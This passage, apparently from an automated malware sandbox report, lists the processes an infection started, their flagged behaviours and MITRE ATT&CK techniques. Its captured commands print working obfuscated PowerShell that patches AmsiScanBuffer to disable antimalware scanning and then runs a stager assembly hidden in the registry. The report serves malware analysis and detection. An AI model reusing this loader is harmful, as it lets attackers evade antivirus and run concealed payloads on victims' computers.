Byte](189+3),[Byte](219-219),[Byte](78+106),[Byte](103-16),[Byte](221-221),[Byte](238-231),[Byte](217-89),[Byte](61+76),[Byte](207+3),[Byte](3+192),[Byte](94+43),[Byte](30+180)),0,$aKFACKSIdJqlGxVhh,177-164);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($jSflaZjXuJjJZWkcu,$gasjUeONVTfTQNcErdccFm).Invoke($aKFACKSIdJqlGxVhh,[uint32]8,0x20,[ref]$oRFWSkbzcg);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+[Char](83)+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+[Char](65)+''+[Char](82)+''+'E'+'').GetValue('$SH'+[Char](115)+''+'t'+''+[Char](97)+'g'+[Char](101)+'r')).EntryPoint.Invoke($Null,$Null)""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3948

C:\Windows\system32\cmd.exe
cmd.exe /c "powershell.exe -Command ""function Local:TdVxKAqZyXFF{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$NXUFfjNPoXLpSZ,[Parameter(Position=1)][Type]$bcxSjKViAX)$YXdAcVnnaWo=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+''+'l'+''+[Char](101)+'ct'+[Char](101)+'d'+'D'+''+[Char](101)+'le'+'g'+''+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+''+'e'+''+'m'+'o'+[Char](114)+''+'y'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+'D'+[Char](101)+''+'l'+'e'+'g'+''+'a'+''+[Char](116)+''+'e'+'T'+[Char](121)+'p'+[Char](101)+'',''+'C'+'la'+'s'+''+'s'+''+[Char](44)+'P'+[Char](117)+'b'+'l'+''+[Char](105)+''+'c'+','+[Char](83)+''+'e'+''+[Char](97)+'le'+[Char](100)+''+[Char](44)+''+[Char](65)+'n'+'s'+'i'+[Char](67)+''+'l'+''+'a'+''+[Char](115)+''+[Char](115)+','+[Char](65)+'u'+[Char](116)+''+[Char](111)+''+'C'+'l'+'a'+''+[Char](115)+'s',[MulticastDelegate]);$YXdAcVnnaWo.DefineConstructor(''+[Char](82)+'TS'+'p'+''+'e'+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+'l'+'N'+[Char](97)+'m'+'e'+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+'ySi'+[Char](103)+''+','+''+'P'+''+[Char](117)+''+'b'+''+'l'+''+'i'+'c',[Reflection.CallingConventions]::Standard,$NXUFfjNPoXLpSZ).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+'e'+''+[Char](44)+''+'M'+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$YXdAcVnnaWo.DefineMethod('In'+[Char](118)+''+[Char](111)+'k'+'e'+'','P'+[Char](117)+''+[Char](98)+'l'+[Char](105)+'c'+','+''+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+'g'+''+[Char](44)+'Ne'+'w'+''+[Char](83)+''+[Char](108)+''+'o'+'t'+','+''+'V'+'i'+[Char](114)+''+[Char](116)+'u'+'a'+''+[Char](108)+'',$bcxSjKViAX,$NXUFfjNPoXLpSZ).SetImplementationFlags('R'+[Char](117)+'n'+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+'M'+[Char](97)+''+[Char](110)+'ag'+'e'+''+[Char](100)+'');Write-Output $YXdAcVnnaWo.CreateType();}$ErlMpEUjewKse=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+'.dl'+[Char](108)+'')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+''+[Char](111)+''+'s'+''+'o'+''+'f'+''+'t'+''+'.'+''+'W'+''+'i'+''+'n'+'32'+'.'+''+'U'+''+'n'+''+'s'+''+[Char](97)+''+[Char](102)+'eN'+[Char](97)+'t'+[Char](105)+'veM'+[Char](101)+'t'+[Char](104)+''+'o'+''+[Char](100)+'s');$SraGZLfktxdpUf=$ErlMpEUjewKse.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+'A'+''+'d'+''+'d'+''+'r'+'e'+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+'u'+'b'+[Char](108)+'i'+'c'+''+','+'S'+[Char](116)+''+[Char](97)+''+[Char](116)+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$LlceAxlrnlGfkpzsqrF=TdVxKAqZyXFF @([String])([IntPtr]);$lofNacfSgKTnsktvCWiXrJ=TdVxKAqZyXFF @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$PTNqqpIduXM=$ErlMpEUjewKse.GetMethod(''+'G'+''+[Char](101)+''+'t'+'M'+'o'+''+'d'+''+[Char](117)+'l'+'e'+''+'H'+''+'a'+''+[Char](110)+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+'e'+[Char](108)+''+'3'+''+'2'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')));$MQfvsArTQwLNXQ=$SraGZLfktxdpUf.Invoke($Null,@([Object]$PTNqqpIduXM,[Object]('L'+[Char](111)+''+'a'+''+'d'+''+'L'+''+[Char](105)+''+[Char](98)+'r'+[Char](97)+''+'r'+''+'y'+''+[Char](65)+'')));$SahXjCbfPjPwVJBtv=$SraGZLfktxdpUf.Invoke($Null,@([Object]$PTNqqpIduXM,[Object](''+'V'+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+'al'+[Char](80)+''+'r'+''+[Char](111)+''+'t'+''+[Char](101)+'ct')));$LtyTKsn=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MQfvsArTQwLNXQ,$LlceAxlrnlGfkpzsqrF).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+''+'i'+''+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'');$sOpqSlnblxTFNDdIx=$SraGZLfktxdpUf.Invoke($Null,@([Object]$LtyTKsn,[Object](''+'A'+''+[Char](109)+'s'+[Char](105)+''+[Char](83)+''+'c'+''+[Char](97)+''+[Char](110)+''+'B'+'uf'+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$dutwbvGhNK=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SahXjCbfPjPwVJBtv,$lofNacfSgKTnsktvCWiXrJ).Invoke($sOpqSlnblxTFNDdIx,[uint32]8,4,[ref]$dutwbvGhNK);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](232-95),[Byte](54+147),[Byte](51+133),[Byte](13+74),[Byte](96-96),[Byte](10-3),[Byte](27+101),[Byte](134+3),[Byte](52+140),[Byte](88+107),[Byte](20+117),[Byte](77+124)),0,$sOpqSlnblxTFNDdIx,220-208);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SahXjCbfPjPwVJBtv,$lofNacfSgKTnsktvCWiXrJ).Invoke($sOpqSlnblxTFNDdIx,[uint32]8,0x20,[ref]$dutwbvGhNK);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+'T'+'W'+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+'S'+[Char](72)+''+[Char](115)+''+[Char](116)+'a'+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"""
1⤵
- System Time Discovery
PID:3740
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command ""function Local:TdVxKAqZyXFF{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$NXUFfjNPoXLpSZ,[Parameter(Position=1)][Type]$bcxSjKViAX)$YXdAcVnnaWo=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+'e'+''+[Char](102)+''+'l'+''+[Char](101)+'ct'+[Char](101)+'d'+'D'+''+[Char](101)+'le'+'g'+''+[Char](97)+''+'t'+''+[Char](101)+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+'I'+''+[Char](110)+''+[Char](77)+''+'e'+''+'m'+'o'+[Char](114)+''+'y'+''+[Char](77)+''+[Char](111)+''+[Char](100)+''+[Char](117)+'l'+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+'D'+[Char](101)+''+'l'+'e'+'g'+''+'a'+''+[Char](116)+''+'e'+'T'+[Char](121)+'p'+[Char](101)+'',''+'C'+'la'+'s'+''+'s'+''+[Char](44)+'P'+[Char](117)+'b'+'l'+''+[Char](105)+''+'c'+','+[Char](83)+''+'e'+''+[Char](97)+'le'+[Char](100)+''+[Char](44)+''+[Char](65)+'n'+'s'+'i'+[Char](67)+''+'l'+''+'a'+''+[Char](115)+''+[Char](115)+','+[Char](65)+'u'+[Char](116)+''+[Char](111)+''+'C'+'l'+'a'+''+[Char](115)+'s',[MulticastDelegate]);$YXdAcVnnaWo.DefineConstructor(''+[Char](82)+'TS'+'p'+''+'e'+''+[Char](99)+''+[Char](105)+''+[Char](97)+''+'l'+'N'+[Char](97)+'m'+'e'+''+[Char](44)+''+'H'+''+[Char](105)+''+[Char](100)+''+[Char](101)+''+[Char](66)+'ySi'+[Char](103)+''+','+''+'P'+''+[Char](117)+''+'b'+''+'l'+''+'i'+'c',[Reflection.CallingConventions]::Standard,$NXUFfjNPoXLpSZ).SetImplementationFlags(''+'R'+''+[Char](117)+''+[Char](110)+''+[Char](116)+''+'i'+''+[Char](109)+''+'e'+''+[Char](44)+''+'M'+'a'+[Char](110)+''+[Char](97)+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');$YXdAcVnnaWo.DefineMethod('In'+[Char](118)+''+[Char](111)+'k'+'e'+'','P'+[Char](117)+''+[Char](98)+'l'+[Char](105)+'c'+','+''+[Char](72)+''+[Char](105)+''+'d'+''+[Char](101)+''+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+'g'+''+[Char](44)+'Ne'+'w'+''+[Char](83)+''+[Char](108)+''+'o'+'t'+','+''+'V'+'i'+[Char](114)+''+[Char](116)+'u'+'a'+''+[Char](108)+'',$bcxSjKViAX,$NXUFfjNPoXLpSZ).SetImplementationFlags('R'+[Char](117)+'n'+[Char](116)+''+[Char](105)+''+[Char](109)+''+'e'+''+[Char](44)+'M'+[Char](97)+''+[Char](110)+'ag'+'e'+''+[Char](100)+'');Write-Output $YXdAcVnnaWo.CreateType();}$ErlMpEUjewKse=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+'y'+[Char](115)+''+[Char](116)+''+[Char](101)+''+[Char](109)+'.dl'+[Char](108)+'')}).GetType(''+[Char](77)+'i'+[Char](99)+''+[Char](114)+''+[Char](111)+''+'s'+''+'o'+''+'f'+''+'t'+''+'.'+''+'W'+''+'i'+''+'n'+'32'+'.'+''+'U'+''+'n'+''+'s'+''+[Char](97)+''+[Char](102)+'eN'+[Char](97)+'t'+[Char](105)+'veM'+[Char](101)+'t'+[Char](104)+''+'o'+''+[Char](100)+'s');$SraGZLfktxdpUf=$ErlMpEUjewKse.GetMethod(''+[Char](71)+''+[Char](101)+''+[Char](116)+''+[Char](80)+''+[Char](114)+''+[Char](111)+''+[Char](99)+''+'A'+''+'d'+''+'d'+''+'r'+'e'+'s'+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+'u'+'b'+[Char](108)+'i'+'c'+''+','+'S'+[Char](116)+''+[Char](97)+''+[Char](116)+'i'+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$LlceAxlrnlGfkpzsqrF=TdVxKAqZyXFF @([String])([IntPtr]);$lofNacfSgKTnsktvCWiXrJ=TdVxKAqZyXFF @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$PTNqqpIduXM=$ErlMpEUjewKse.GetMethod(''+'G'+''+[Char](101)+''+'t'+'M'+'o'+''+'d'+''+[Char](117)+'l'+'e'+''+'H'+''+'a'+''+[Char](110)+'d'+[Char](108)+''+[Char](101)+'').Invoke($Null,@([Object](''+[Char](107)+''+[Char](101)+''+[Char](114)+''+[Char](110)+'e'+[Char](108)+''+'3'+''+'2'+''+[Char](46)+''+[Char](100)+''+[Char](108)+''+'l'+'')));$MQfvsArTQwLNXQ=$SraGZLfktxdpUf.Invoke($Null,@([Object]$PTNqqpIduXM,[Object]('L'+[Char](111)+''+'a'+''+'d'+''+'L'+''+[Char](105)+''+[Char](98)+'r'+[Char](97)+''+'r'+''+'y'+''+[Char](65)+'')));$SahXjCbfPjPwVJBtv=$SraGZLfktxdpUf.Invoke($Null,@([Object]$PTNqqpIduXM,[Object](''+'V'+''+[Char](105)+''+[Char](114)+'t'+[Char](117)+'al'+[Char](80)+''+'r'+''+[Char](111)+''+'t'+''+[Char](101)+'ct')));$LtyTKsn=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($MQfvsArTQwLNXQ,$LlceAxlrnlGfkpzsqrF).Invoke(''+'a'+''+[Char](109)+''+[Char](115)+''+'i'+''+'.'+''+[Char](100)+''+[Char](108)+''+'l'+'');$sOpqSlnblxTFNDdIx=$SraGZLfktxdpUf.Invoke($Null,@([Object]$LtyTKsn,[Object](''+'A'+''+[Char](109)+'s'+[Char](105)+''+[Char](83)+''+'c'+''+[Char](97)+''+[Char](110)+''+'B'+'uf'+[Char](102)+''+[Char](101)+''+[Char](114)+'')));$dutwbvGhNK=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SahXjCbfPjPwVJBtv,$lofNacfSgKTnsktvCWiXrJ).Invoke($sOpqSlnblxTFNDdIx,[uint32]8,4,[ref]$dutwbvGhNK);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](232-95),[Byte](54+147),[Byte](51+133),[Byte](13+74),[Byte](96-96),[Byte](10-3),[Byte](27+101),[Byte](134+3),[Byte](52+140),[Byte](88+107),[Byte](20+117),[Byte](77+124)),0,$sOpqSlnblxTFNDdIx,220-208);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($SahXjCbfPjPwVJBtv,$lofNacfSgKTnsktvCWiXrJ).Invoke($sOpqSlnblxTFNDdIx,[uint32]8,0x20,[ref]$dutwbvGhNK);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey('S'+[Char](79)+''+[Char](70)+'T'+'W'+''+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](36)+'S'+[Char](72)+''+[Char](115)+''+[Char](116)+'a'+[Char](103)+'e'+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2100

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

File and Directory Permissions Modification

T1222

Windows File and Directory Permissions Modification

T1222.001

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Modify Registry

T1112

Virtualization/Sandbox Evasion

Credential Access

Discovery

Query Registry

T1012

Remote System Discovery

T1018

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Time Discovery

T1124

Virtualization/Sandbox Evasion